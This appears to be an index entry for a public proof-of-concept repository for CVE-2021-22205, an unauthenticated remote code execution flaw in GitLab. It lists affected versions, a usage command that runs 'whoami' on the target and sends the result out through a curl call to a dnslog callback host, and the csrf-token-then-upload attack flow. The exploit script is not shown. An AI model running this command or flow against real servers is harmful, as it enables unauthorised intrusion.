CVE-2021-22205 PoC — GitLab 代码注入漏洞

Source

https://github.com/r0eXpeR/CVE-2021-22205

Associated Vulnerability

Title:GitLab 代码注入漏洞 (CVE-2021-22205)
Description:GitLab是美国GitLab公司的一个开源的端到端软件开发平台，具有内置的版本控制、问题跟踪、代码审查、CI/CD（持续集成和持续交付）等功能。 Gitlab Community Edition 存在代码注入漏洞，该漏洞源于图像解析器在处理图像文件时输入验证不正确。以下产品及版本受到影响：:Gitlab Community Edition: 11.9.0, 11.9.1, 11.9.2, 11.9.3, 11.9.4, 11.9.5, 11.9.6, 11.9.7, 11.9.8, 11.9.9, 11

Description

CVE-2021-22205 Unauthorized RCE

Readme

# CVE-2021-22205

**影响版本：**
* Gitlab CE/EE < 13.10.3
* Gitlab CE/EE < 13.9.6
* Gitlab CE/EE < 13.8.8

**Usage**

```
python3 CVE-2021-22205.py target "curl \`whoami\`.dnslog"
```

![Xnip2021-10-28_21-54-04](media/16354286989629/Xnip2021-10-28_21-54-04.png)

**获取csrf-token：**

![Xnip2021-10-28_21-44-31](media/16354286989629/Xnip2021-10-28_21-44-31.png)

通过 /users/sign_in 获取csrf-token 然后使用前面的 CVE-2021-22205 poc 进行构造上传包进行执行未经身份验证的上传请求，最终rce

![](media/16354286989629/16354299891310.jpg)


![Xnip2021-10-28_21-43-13](media/16354286989629/Xnip2021-10-28_21-43-13.png)


**ref:**

* https://hackerone.com/reports/1154542
* https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/
* https://forum.ywhack.com/viewthread.php?tid=115611
* https://forum.ywhack.com/viewthread.php?tid=116706
* https://github.com/RedTeamWing/CVE-2021-22205

File Snapshot


 [4.0K]  /data/pocs/e0b1807a4a251b2a7d1244bad6912615d1f067c2
├── [2.4K]  CVE-2021-22205.py
├── [ 681]  echo_vakzz.jpg
├── [4.0K]  media
│   └── [4.0K]  16354286989629
│       ├── [ 87K]  16354299891310.jpg
│       ├── [439K]  Xnip2021-10-28_21-43-13.png
│       ├── [185K]  Xnip2021-10-28_21-44-31.png
│       └── [161K]  Xnip2021-10-28_21-54-04.png
└── [ 935]  README.md

2 directories, 7 files

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